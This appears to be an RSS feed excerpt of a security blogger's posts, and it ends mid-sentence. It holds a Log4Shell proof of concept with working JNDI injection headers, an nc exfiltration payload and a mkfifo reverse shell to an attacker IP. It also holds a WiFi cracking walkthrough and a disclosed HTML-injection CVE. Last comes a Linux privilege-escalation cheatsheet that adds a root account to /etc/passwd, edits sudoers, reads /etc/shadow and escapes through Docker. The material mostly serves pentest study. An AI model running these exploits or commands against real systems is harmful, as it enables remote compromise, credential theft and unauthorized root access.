            <pubDate>Thu, 16 Dec 2021 14:56:35 GMT</pubDate>
            <atom:updated>2021-12-16T14:56:35.853Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2021–44228 — Log4shell</h3><p>Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*ld4Sp8BDjFsDIBJ8i-92xw.png" /></figure><p>For this exercise I will be targeting hosted docker with a vulnerable java application, you can find it here:</p><p><a href="https://vpn3.site.sa/f5-w-68747470733a2f2f6769746875622e636f6d$/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab">https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab</a></p><p><strong>Exploitation:</strong></p><p>First we need to <strong>Write the command in base64:</strong></p><p>└──╼ #echo &quot;ls | nc 172.20.10.2 80&quot; | base64<br>bHMgfCBuYyAxNzIuMjAuMTAuMiA4MAo=</p><p><strong>After that we need to host the vulnerable LDAP server &amp; the HTTP server.</strong></p><p>The below jar file will do the following:</p><ul><li>Host LDAP server.</li><li>Host HTTP server.</li><li>Create .class file based on the base64 payload</li></ul><p>└──╼ #java -jar JNDIExploit-1.2-SNAPSHOT.jar<br>Error: The following option is required: [-i | --ip]<br>Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]<br> Options:<br> * -i, --ip Local ip address<br> -l, --ldapPort Ldap bind port (default: 1389)<br> -p, --httpPort Http bind port (default: 8080)<br> -u, --usage Show usage (default: false)<br> -h, --help Show this help<br> <br> <br>└──╼ #java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.20.10.2 -l 1234 -p 800<br>[+] LDAP Server Start Listening on 1234...<br>[+] HTTP Server Start Listening on 800...</p><p>If we run the exploit using the below curl command — we are sending the IP for our malicious LDAP server that was created in the previous step — and we also send the base64 command:</p><p>└──╼ #curl 172.17.0.1:8080 -H &#39;X-Api-Version: ${jnd i:ldap://172.20.10.2:1234/Basic/Command/Base64/bHMgfCBuYyAxNzIuMjAuMTAuMiA4MAo=}&#39;<br>Hello, world!</p><p>The LDAP server should get a request from the victim machine — and then LDAP server will redirect the machine to our malicious HTTP server that hosts the .class exploit:</p><p>└──╼ #java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.20.10.2 -l 1234 -p 800<br>[+] LDAP Server Start Listening on 1234...<br>[+] HTTP Server Start Listening on 800...<br> <br>[+] Received LDAP Query: Basic/Command/Base64/bHMgfCBuYyAxNzIuMjAuMTAuMiA4MAo=<br>[+] Paylaod: command<br>[+] Command: ls | nc 172.20.10.2 80<br> <br>[+] Sending LDAP ResourceRef result for Basic/Command/Base64/bHMgfCBuYyAxNzIuMjAuMTAuMiA4MAo= with basic remote reference payload<br>[+] Send LDAP reference result for Basic/Command/Base64/bHMgfCBuYyAxNzIuMjAuMTAuMiA4MAo= redirecting to http://172.20.10.2:800/ExploitcjWF0rQsqL.class<br>[+] New HTTP Request From /172.17.0.2:55030 /ExploitcjWF0rQsqL.class<br>[+] Receive ClassRequest: ExploitcjWF0rQsqL.class<br>[+] Response Code: 200</p><p>Then we should receive the output of the command as shown below:</p><p>└──╼ #nc -lvnp 80<br>listening on [any] 80 ...<br>connect to [172.20.10.2] from (UNKNOWN) [172.17.0.2] 33701<br>app<br>bin<br>dev<br>etc<br>home<br>lib<br>media<br>mnt<br>proc<br>root<br>run<br>sbin<br>srv<br>sys<br>tmp<br>usr<br>var</p><h3>Getting Shell:</h3><ul><li>Create the payload:</li></ul><p>└──╼ #echo &quot;rm f;mkfifo f;cat f|sh -i 2&gt;&amp;1|nc 172.20.10.2 80 &gt;f&quot; | base64<br>cm0gZjtta2ZpZm8gZjtjYXQgZnxzaCAtaSAyPiYxfG5jIDE3Mi4yMC4xMC4yIDgwID5mCg=</p><ul><li>Send the exploit:</li></ul><p>└──╼ #curl 172.17.0.1:8080 -H &#39;X-Api-Version: ${jn di:ldap://172.20.10.2:1234/Basic/Command/Base64/cm0gZjtta2ZpZm8gZjtjYXQgZnxzaCAtaSAyPiYxfG5jIDE3Mi4yMC4xMC4yIDgwID5mCg==}&#39;</p><ul><li>Finally. getting the shell</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*avDSncuc0l5OCRvSuHvxug.png" /></figure><h3>Mitigation:</h3><p>The below topology will show how to mitigate the attack in each step possible:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CAKMTjzihhFcupD4xJiJBQ.png" /></figure><h3>More vulnerable applications</h3><p><strong>Minecraft:</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7qoPDq41xhQ%3Fstart%3D642%26feature%3Doembed%26start%3D642&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7qoPDq41xhQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7qoPDq41xhQ%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/fbf71c9c41ed56333c452c38b6d2c84a/href">https://medium.com/media/fbf71c9c41ed56333c452c38b6d2c84a/href</a></iframe><p><strong>Ghidra:</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FlBxZL98uvdk%3Fstart%3D317%26feature%3Doembed%26start%3D317&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DlBxZL98uvdk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FlBxZL98uvdk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/08520638b8fdba31b18e3a5161656577/href">https://medium.com/media/08520638b8fdba31b18e3a5161656577/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfd07ad54fa2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My first CVE! CVE-2021–41825: Verint Workforce Optimization-HTML Injection]]></title>
            <link>https://0xy37.medium.com/my-first-cve-cve-2021-41825-verint-workforce-optimization-html-injection-6dd450e7f2af?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/6dd450e7f2af</guid>
            <category><![CDATA[html]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Wed, 06 Oct 2021 20:49:33 GMT</pubDate>
            <atom:updated>2021-10-09T06:37:39.938Z</atom:updated>
            <content:encoded><![CDATA[<p>HTML injection is a type of injection vulnerability that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page.</p><p>The attacker can then modify the page content seen by the victims.</p><ul><li><strong>Vulnerable Software</strong>: Verint Workforce Optimization (WFO)</li><li><strong>Vulnerability: </strong>HTML Injection</li><li><strong>Affected Version:</strong> 15.2 (15.2.5.1033)</li><li><strong>Vendor Homepage:</strong> <a href="https://www.verint.com/engagement/our-offerings/solutions/workforce-optimization/">https://www.verint.com</a></li><li><strong>CVE:</strong> CVE-2021–41825</li><li><strong>About Affected Software: </strong>Verint Workforce Optimization is a suite of unified software and services for capturing interactions and managing the performance of employees across the enterprise or in targeted areas of your business.</li></ul><p><strong>• Steps to reproduce:</strong></p><p><a href="http://ip/wfo/control/signin?rd=%2Fwfo%2Fcontrol%2F">http://IP/wfo/control/signin?rd=%2Fwfo%2Fcontrol%2F</a></p><p>In the below screenshot when injecting an html tags in the username field we can see that it has been rendered in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqE2F4gOtAzMeK6icxfkDg.png" /><figcaption>HTML injection POC</figcaption></figure><p>As seen below the HTML injection has been rendered successfully in the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*Zx3RiJtiOEfLzpLix-G-Gg.png" /><figcaption>Rendering the HTML Injection</figcaption></figure><ul><li><strong>Timeline:</strong></li></ul><p>Initial Email Sent: August 16, 2021 — No response<br>Followup 2: August 30, 2021 — No response<br>Followup 3: September 9, 2021 — No response<br>CVE Generated: September 30, 2021<br>Followup 4: October 4, 2021 — No response<br>Published: October 6, 2021</p><p>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41825</p><ul><li><strong>Acknowledgment:</strong></li></ul><p>Thanks to the team i have been working with: Osama Aldosari, Dema Alsaif, Abdullah Alguwaihes.- Saudi information and technology company —<a href="https://site.sa/"> SITE</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6dd450e7f2af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Wireless network - WiFi Hacking]]></title>
            <link>https://0xy37.medium.com/attacking-wireless-network-wifi-hacking-3f1639146cf0?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f1639146cf0</guid>
            <category><![CDATA[wpa]]></category>
            <category><![CDATA[oswp]]></category>
            <category><![CDATA[wpa2]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[wifi]]></category>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Sun, 26 Sep 2021 19:22:22 GMT</pubDate>
            <atom:updated>2021-09-26T19:22:22.291Z</atom:updated>
            <content:encoded><![CDATA[<p>Before starting, lets get some basics:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*UpON0qrXNgpVxl-tSnlwFQ.png" /></figure><h3>Wired Equivalent Privacy (WEP)</h3><p><strong>WEP</strong> was developed for wireless networks and it was supposed to offer the same security level as wired networks, however there are a lot of well-known security issues in WEP.</p><h3>Wi-Fi Protected Access (WPA\WPA2)</h3><p>WPA\WPA2 implements all mandatory features from 802.11i. It provides a significant security improvement over WEP . The most important architectural change is the data encryption algorithm. In WPA2 the Counter Mode with Cipher block Chaining Message Authentication Code Protocol (CCMP) uses an Advanced Encryption Standard (AES)</p><h3><strong>Wi-Fi Protected Setup </strong>(WPS)</h3><p>WPS stands <strong>for Wi-Fi Protected Setup</strong>. It is a wireless network security standard that tries to make connections between a router and wireless devices (cameras) faster and easier. WPS works only for wireless networks that use a password that is encrypted with the WPA Personal or WPA2 Personal security protocols.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*9eVHb20dwGe0ENBte8HcOw.png" /></figure><h3>Phase 1 — Discovery Wireless Reconnaissance</h3><p>Discovery phase for Wi-Fi can be implemented using several tools -You can use whatever tool you like-:</p><h3>Airgraph-ng</h3><p>Place your wireless card into monitor mode.</p><pre>airmon-ng start &lt;interface&gt; &lt;AP channel&gt;</pre><p>Run an Airodump capture for an hour or more, saving the capture to disk.</p><pre>airodump-ng -c &lt;AP Channel&gt; --bssid &lt;AP MAC&gt; -w &lt;capture&gt; &lt;interface&gt;</pre><p>There are two types of diagrams CAPR/CPG to generate:</p><ul><li>CAPR (Client to AP Relationship)</li><li>CPG (Common probe graph)</li></ul><h4>Usage:</h4><pre>sudo airgraph-ng -i &lt;csv filename&gt; -g &lt;CAPR/CPG&gt; -o &lt;output filename&gt;.png</pre><pre>root@kali:~# sudo airgraph-ng -i cap-the-zone-01.csv -g CPG -o the-zone.png</pre><pre>**** WARNING Images can be large, up to 12 Feet by 12 Feet****<br>Creating your Graph using, dump-01.csv and writing to, capr.png<br>Depending on your system this can take a bit. Please standby.....</pre><p><strong>-o:</strong> OUTPUT Our Output Image ie… Image.png</p><p><strong>-i:</strong> Airodump txt file in CSV format. NOT the pcap</p><ul><li><strong>g:</strong> Graph Type Current [CAPR (Client to AP Relationship) OR CPG (Common probe graph)]</li></ul><h4>Open the img file:</h4><pre>root@kali:~# eog thezone-CAPR.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEtTOUXR6X1mC5LCctIn6g.png" /><figcaption>Airgraph-ng generated graph</figcaption></figure><h3>Kismet — Highly recommended</h3><p>Kismet will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic.</p><p>The tool is installed in Kali and Parrot OS by default.</p><h4>Usage:</h4><pre>root@kali:~#  kismet -c &lt;interface&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_oO-S4xtlBQ3PZLfgzChw.png" /><figcaption>Kismet tool</figcaption></figure><h3>Phase 2 - Start the attack</h3><p>After gathering enough information about the target wireless network, it is time to attack it.</p><h3>Attacking WEB</h3><h3>Exploiting WEP via connected clients</h3><ul><li>ARP request replay attack — (Most reliable attack)</li></ul><p>Place your wireless card into monitor mode on the channel number of the AP:</p><pre>airmon-ng start &lt;interface&gt; &lt;AP channel&gt;</pre><p>Start an Airodump-ng capture filtering on the AP channel and BSSID, saving the file to disk:</p><pre>airodump-ng -c &lt;AP Channel&gt; --bssid &lt;AP MAC&gt; -w &lt;capture&gt; &lt;interface&gt;</pre><p>— ivs flag stores only the weak initialization vectors and not the full packet.</p><pre>airodump-ng -c &lt;Channel&gt; --bssid &lt;BSSID&gt; -w &lt;Capture&gt; --ivs &lt;interface&gt;</pre><p>Conduct a fake authentication attack against the AP:</p><pre>aireplay-ng -1 0 -e &lt;ESSID&gt; -a &lt;AP MAC&gt; -h &lt;Your MAC&gt; &lt;interface&gt;</pre><p>Launch the ARP request replay attack:</p><pre>aireplay-ng -3 -b &lt;AP MAC&gt; -h &lt;Your MAC&gt; &lt;interface&gt;</pre><p>Deauthenticate the connected client to force new IV generation by the AP:</p><pre>aireplay-ng -0 1 -a &lt;AP MAC&gt; -c &lt;Client MAC&gt; &lt;interface&gt;</pre><p>Once a significant number of IVs have been captured, run Aircrack-ng against the Airodump capture | OR while still capturing:</p><pre>aircrack-ng -0 -z &lt;capture&gt;</pre><h3>Exploiting WEP with no-connected clients</h3><h3>Fragmentation Attack/KoreK chopchop attack</h3><p>Place your wireless card into monitor mode on the channel number of the AP:</p><pre>airmon-ng start &lt;interface&gt; &lt;AP channel&gt;</pre><p>Start an Airodump-ng capture, filtering on the AP channel and BSSID, saving the capture:</p><pre>airodump-ng -c &lt;AP channel&gt; --bssid &lt;AP MAC&gt; -w &lt;capture&gt; &lt;interface&gt;</pre><p>We will run the fake authentication with a reassociation timing of 6000 so it doesn’t time out.</p><pre>aireplay-ng -1 0 -e &lt;ESSID&gt; -a &lt;AP MAC&gt; -h &lt;Your MAC&gt; &lt;interface&gt;</pre><p>Run attack 4, the KoreK chopchop attack (or attack 5, the fragmentation attack):</p><pre>aireplay-ng -4 -b &lt;AP MAC&gt; -h &lt;Your MAC&gt; &lt;interface&gt;<br>aireplay-ng -5 -b &lt;AP MAC&gt; -h &lt;Our MAC&gt; &lt;interface&gt;</pre><p>Now you can build a packet with packetforge-ng out of that 1500 bytes.</p><p>Craft an ARP request packet using packetforge-ng:</p><pre>packetforge-ng -0 -a &lt;AP MAC&gt; -h &lt;Your MAC&gt; -k &lt;Dest IP&gt; -l &lt;Source IP&gt; -y &lt;xor file&gt; -w &lt;output file&gt;</pre><p>• -0: generate an ARP request packet <br>• -a: the AP MAC address <br>• -h: the source (usually yours) MAC address <br>• -k: the destination IP i.e. in ARP, this is “Who has this IP” <br>• -l: the source IP i.e. in ARP, this is “Tell this IP” <br>• -y: the PRGA filename <br>• -w: the filename to save the packet to</p><p>Inject the packet into the network using attack 2, the interactive packet replay attack:</p><pre>aireplay-ng -2 -r &lt;packet filename&gt; &lt;interface&gt;</pre><p>last thing is to crack the WEP key using Aircrack-ng:</p><pre>aircrack-ng &lt;capture&gt;</pre><h3>Attacking WPA/WPA2</h3><ul><li>Placing the wireless card into monitor mode</li></ul><pre>airmon-ng start &lt;interface&gt; &lt;AP channel&gt;</pre><ul><li>Start an Airodump capture</li></ul><pre>airodump-ng -c &lt;AP channel&gt; --bssid &lt;AP MAC&gt; -w &lt;capture&gt; &lt;interface&gt;</pre><ul><li>Deauthenticate a connected client to force it to complete the 4-way handshake</li></ul><pre>aireplay-ng -0 1 -a &lt;AP MAC&gt; -c &lt;Client MAC&gt; &lt;interface&gt;</pre><p>It should now appear in airodump-ng window that a handshake with the targeted BSSID has been captured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*05OMrVcshO_LTrydwkKRlQ.png" /></figure><ul><li>Crack the WPA password with Aircrack-ng:</li></ul><pre>aircrack-ng -w &lt;wordlist&gt; &lt;capture&gt;</pre><h3>PMKID Hashcat Attack</h3><ul><li>Download hcxdumptool:</li></ul><pre>git clone <a href="https://github.com/ZerBea/hcxdumptool.git">https://github.com/ZerBea/hcxdumptool.git</a></pre><ul><li>Solve dependencies:</li></ul><pre>sudo apt-get install libcurl4-openssl-dev libssl-dev pkg-config<br>make<br>make install</pre><ul><li>Download hcxtools:</li></ul><pre>git clone <a href="https://github.com/ZerBea/hcxtools.git">https://github.com/ZerBea/hcxtools.git</a><br>make <br>make install</pre><ul><li>Start monitor mood</li></ul><pre>airmon-ng check kill<br>airmon-ng start &lt;interface&gt;</pre><ul><li>Use Hxcdump to Capture PMKIDs from Local Networks</li></ul><pre>hcxdumptool -i &lt;interface&gt; -o output.pcapng --enable_status=1</pre><ul><li>Run hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat.</li></ul><pre>./hcxpcaptool -z test.16800 test.pcapng<br>start reading from test.pcapng<br> summary:<br> --------<br> file name....................: test.pcapng<br> file type....................: pcapng 1.0<br> file hardware information....: x86_64<br> file os information..........: Linux 4.17.11-arch1<br> file application information.: hcxdumptool 4.2.0<br> network type.................: DLT_IEEE802_11_RADIO (127)<br> endianess....................: little endian<br> read errors..................: flawless<br> packets inside...............: 66<br> skipped packets..............: 0<br> packets with FCS.............: 0<br> beacons (with ESSID inside)..: 17<br> probe requests...............: 1<br> probe responses..............: 11<br> association requests.........: 5<br> association responses........: 5<br> authentications (OPEN SYSTEM): 13<br> authentications (BROADCOM)...: 1<br> EAPOL packets................: 14<br> EAPOL PMKIDs.................: 1<br> <br> 1 PMKID(s) written to test.16800</pre><ul><li>Crack with hashcat</li></ul><pre>hashcat -m 16800 galleriaHC.16800 -a 0 --kernel-accel=1 -w 4 --force &#39;topwifipass.txt&#39;</pre><h3>Attacking WPS</h3><p>Access points that have WPS enabled are vulnerable to a brute-force (brute-force) attack of this PIN. Once the WPS PIN is selected, you can connect to the access point, as well as learn its WPA / WPA2 password.</p><h4>Discover WPS network around you:</h4><pre>root@kali:~# airodump-ng wlan0 --manufacturer --uptime --wps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g-dzWuJMRm2NRhEVL3yyiw.png" /></figure><p><strong>Using wash:</strong></p><pre>root@kali:~# wash -i &lt;interface name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*5QLdYbJ0933Hs7hxETEttg.png" /></figure><p>Only access point suitable for the attack, in which the column <strong>Lck</strong> is <strong>No</strong> , that is, which is not blocked by WPS and WPS version is 1.</p><p><strong>Exploiting WPS — Pixie dust attack:</strong></p><ul><li><strong>Using reaver:</strong></li></ul><pre>reaver -i &lt;interface&gt; -b &lt;MAC_Address_AP&gt; -K<br>root@kali: reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -vv -L -N -c 1 –K</pre><p><strong>-L: </strong>Ignore locked WPS state.</p><p><strong>-N: </strong>Don’t send NACK packets when errors are detected.</p><p><strong>-d 15: </strong>Delay 15 seconds between PIN attempts.</p><p><strong>-T: </strong>Set timeout period to half a second.</p><ul><li><strong>r 3:15: </strong>After 3 attempts, sleep for 15 seconds.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*x5a30WCZSC-980Q_xTSk_A.png" /></figure><p><strong>Others tools you can try:</strong></p><ul><li><a href="https://github.com/aanarchyy/bully"><strong>bully</strong></a></li><li><a href="https://github.com/v1s1t0r1sh3r3/airgeddon.git"><strong>Airgedden</strong></a></li></ul><p>Last thing to add is that this guide is not complete, there are more attacks that can be used againt WiFi access points, but the attacks mentioned above are the most common and it can build up a strong foundation into WiFi hacking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*HBnfQw6SpWuGhzHf6CLxFQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f1639146cf0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux L33T! - PE Cheatsheet! [OSCP Prep]]]></title>
            <link>https://0xy37.medium.com/linux-pe-cheatsheet-oscp-prep-9affaebd0f0e?source=rss-fc974bb0ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/9affaebd0f0e</guid>
            <dc:creator><![CDATA[Yara AlHumaidan (0xy37)]]></dc:creator>
            <pubDate>Thu, 24 Jun 2021 16:51:17 GMT</pubDate>
            <atom:updated>2021-06-24T16:53:44.571Z</atom:updated>
            <content:encoded><![CDATA[<p>One of the things that was hard for me to master during my OSCP preparation is privilege escalation. i didn’t know what to look for, where to start or even what to consider as important information in my privilege escalation technique.</p><p>I needed to really invest in this module of the course, and i surly did.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*Zl0E-SdVNYno2yWO.gif" /></figure><p>I purchased couple of courses on udemy ( will link them below), did some research, and came up with this cheatsheet.</p><p>This cheatsheet is my first “go to” whenever i need to do privilege escalation however, you might have to do some research when nothing works from the below commands.</p><h3>Initial Enumeration</h3><pre><strong>[+] target Enumeration</strong><br>uname -a<br>cat /proc/version<br>cat /etc/issue<br>lscpu<br>ps -aux | grep root<br>hostname<br>ls -la /home/$user$<br>cat /etc/iptables/rules.v4<br>/etc/iptables/rules.v4</pre><pre><strong>[+] users Enumeration</strong><br>whoami<br>id<br>sudo -l<br>cd /home/user &amp;&amp; find . -type f -ls<br>cat /etc/passwd<br>cat /etc/shadow<br>cat /etc/group<br>history<br>sudo su -</pre><pre><strong>[+] Groups Enumeration</strong><br>find / -group wireshark -ls 2&gt;/dev/null</pre><pre><strong>[+] Netwok Enumeration</strong><br>ifconfig<br>ip a<br>ip route<br>route<br>arp -a<br>ip neigh<br>netstat -ano</pre><pre><strong>[+] Password Hunting</strong><br>grep --color=auto -rnw &#39;/&#39; -ie &quot;PASSWORD=&quot; --color=always 2&gt; /dev/null<br>locate password | more<br>locate pass | more<br>locate pw | more<br>find / -name authorized_keys 2&gt; /dev/null<br>find / -name id_rsa 2&gt; /dev/null<br>cat /var/lib/mysql/strace-log.dat # or any other file .config<br>cat .htpasswd</pre><pre><strong>[+] Other Checks</strong><br>getcap -r / 2&gt;/dev/null<br>cat /etc/exports</pre><h3>Checking for Kernel exploits</h3><pre>uname -a<br>cat /proc/version<br>cat /etc/issue<br>lscpu<br>hostname</pre><p>Automated tools for checking Kernel exploits:</p><ul><li><a href="https://github.com/lucyoa/kernel-exploits">GitHub - lucyoa/kernel-exploits</a></li><li><a href="https://github.com/jondonas/linux-exploit-suggester-2.git">jondonas/linux-exploit-suggester-2</a></li></ul><p>DirtyCow:</p><p><a href="https://0xdf.gitlab.io/2020/06/23/htb-popcorn.html#dirty-cow">HTB: Popcorn</a></p><h3>Checking for Service exploits</h3><p>Show all processes running as root:</p><pre>ps aux | grep &quot;^root&quot;</pre><p>Shows the version number:</p><pre>&lt;program&gt; --version</pre><pre>&lt;program&gt; -v</pre><p>Show installed programs and their version:</p><pre>dpkg -l | grep &lt;program&gt;</pre><pre>rpm –qa | grep &lt;program&gt;</pre><p>Exploiting mysql 5.1:</p><p><a href="https://www.exploit-db.com/exploits/1518">OffSec&#39;s Exploit Database Archive</a></p><pre>dmysql --version</pre><pre>mysqld Ver 5.1.73-1+deb6u1 for debian-linux-gnu on x86_64 ((Debian))</pre><pre>mysql&gt; select do_system(&#39;cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash&#39;);/tmp/rootbash -p</pre><p>Check if there is internal open ports:</p><pre>netstat -nl</pre><p>Port forwarding:</p><pre>ssh -R &lt;local-port&gt;:127.0.0.1:&lt;target-port&gt; &lt;username&gt;@&lt;local-machine&gt;</pre><h3>Checking for Weak File Permissions</h3><p>Find all writable files in /etc:</p><pre>find /etc -maxdepth 1 -writable -type f</pre><p>Find all readable files in /etc:</p><pre>find /etc -maxdepth 1 -readable -type f</pre><p>Find all directories which can be written to:</p><pre>find / -executable -writable -type d 2&gt; /dev/null</pre><p>Write on Passwd:</p><pre>-rw-r--rw- 1 root root 1039 Feb 14 07:15 /etc/passwd</pre><pre><strong>[+] update the password in /etc/passwd, it takes precedence over the one in /etc/shadow</strong></pre><pre>└─#  openssl passwd -1 -salt user3 pass123</pre><pre>$1$user3$rAGRVf5p2jYTqtqOW5cPu/</pre><pre>└─# user@debian:~$ cat /etc/passwd</pre><pre>root:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:root:/root:/bin/bash</pre><pre><strong>[+] empty second field in /etc/passwd (no password)</strong></pre><pre><strong>[+] Create a new account with id 0</strong></pre><pre>└─#  openssl passwd -1 -salt user3 pass123</pre><pre>$1$user3$rAGRVf5p2jYTqtqOW5cPu/</pre><pre>└─# echo &quot;root2:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:root:/root:/bin/bash&quot; &gt;&gt; /etc/passwd</pre><pre>└─#su root2</pre><pre>Password: pass123</pre><p>Read/Write in shadow:</p><pre>-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow</pre><pre><strong>[+] Can edit</strong></pre><pre>mkpasswd  -m sha-512 -S saltsalt -s</pre><pre>Password: pass</pre><pre>$6$saltsalt$KN.twvCyfwE67paW76hS2/bacYkY9PxIhxqYG9vL5bZmIwWBGDJ6mu4HlCosKUBfQwVXKXxXVXPcqdwd1Ip0X/</pre><pre>- OR -</pre><pre>openssl passwd -1 -salt user3 pass123<br>$1$user3$rAGRVf5p2jYTqtqOW5cPu/</pre><pre>user@debian:~$ cat /etc/shadow<br>root:$6$saltsalt$KN.twvCyfwE67paW76hS2/bacYkY9PxIhxqYG9vL5bZmIwWBGDJ6mu4HlCosKUBfQwVXKXxXVXPcqdwd1Ip0X/:17298:0:99999:7:::</pre><pre><strong>[+] Can view - Decrypt the password</strong></pre><pre>unshadow passwd.txt shadow.txt &gt; passwords.txt<br>john --wordlist=/usr/share/wordlists/sqlmap.txt passwords.txthashcat -m 1800 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/sqlmap.txt -O</pre><p>Writable /etc/sudoers:</p><pre>echo &quot;&lt;username&gt; ALL=(ALL:ALL) ALL&quot;&gt;&gt;/etc/sudoers</pre><p>Look for interesting files, especially hidden files:</p><pre>$ ls -la /home/user<br>$ ls -la /<br>$ ls -la /tmp<br>$ ls -la /var/backups</pre><p>Look for ssh private key:</p><pre>find / -name authorized_keys 2&gt; /dev/null<br>find / -name id_rsa 2&gt; /dev/null</pre><pre>$ ls -l /.ssh<br>total 4<br>-rw-r--r-- 1 root root 1679 Aug 24 18:57 root_key</pre><pre>$ grep PermitRootLogin /etc/ssh/sshd_config<br>PermitRootLogin yes</pre><pre># chmod 600 root_key<br># ssh -i root_key root@192.168.1.25</pre><p><strong>SSH Key Predictable PRNG (Authorized_Keys) Process</strong></p><p>(SSH-DSS String from authorized_keys file)</p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#looting-for-passwords">swisskyrepo/PayloadsAllTheThings</a></p><h3>Checking for Sudo</h3><pre>$ sudo su<br>$ sudo -s<br>$ sudo -i<br>$ sudo /bin/bash<br>$ sudo passwd<br>$ sudo –u &lt;username&gt; &lt;program&gt;</pre><p>lxd:</p><pre>y37@kali:~$ id</pre><pre>uid=1000(y37) .. 116(lxd)</pre><p><a href="https://blog.m0noc.com/2018/10/lxc-container-privilege-escalation-in.html?m=1">LXC Container Privilege Escalation in More Restrictive Environments</a></p><p>Docker:</p><pre>docker run -v /:/mnt -i -t ubuntu bash</pre><pre>$ docker images<br>REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE<br>redmine             latest              0c8429c66e07        7 months ago        542MB<br>postgres            latest              adf2b126dda8        7 months ago        313MB</pre><pre>$ docker run -v /:/mnt --rm -it redmine chroot /mnt sh<br># id<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>Shell Escape Sequences Even:</p><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><pre>$ sudo -l<br>...<br>(root) NOPASSWD: /usr/sbin/iftop<br>(root) NOPASSWD: /usr/bin/find<br>(root) NOPASSWD: /usr/bin/nano<br>(root) NOPASSWD: /usr/bin/vim<br>(root) NOPASSWD: /usr/bin/man<br>(root) NOPASSWD: /usr/bin/awk<br>...</pre><p>Abusing Intended Functionality:</p><ul><li>apache2 Intended functionality reeading files:</li></ul><pre>(root) NOPASSWD: /usr/sbin/apache2</pre><pre>$ sudo apache2 -f /etc/shadow<br>Syntax error on line 1 of /etc/shadow:<br>Invalid command &#39;root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84O WAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::&#39;, perhaps misspelled or defined by a module not included in the server configuration</pre><ul><li>wget Intended functionality getting 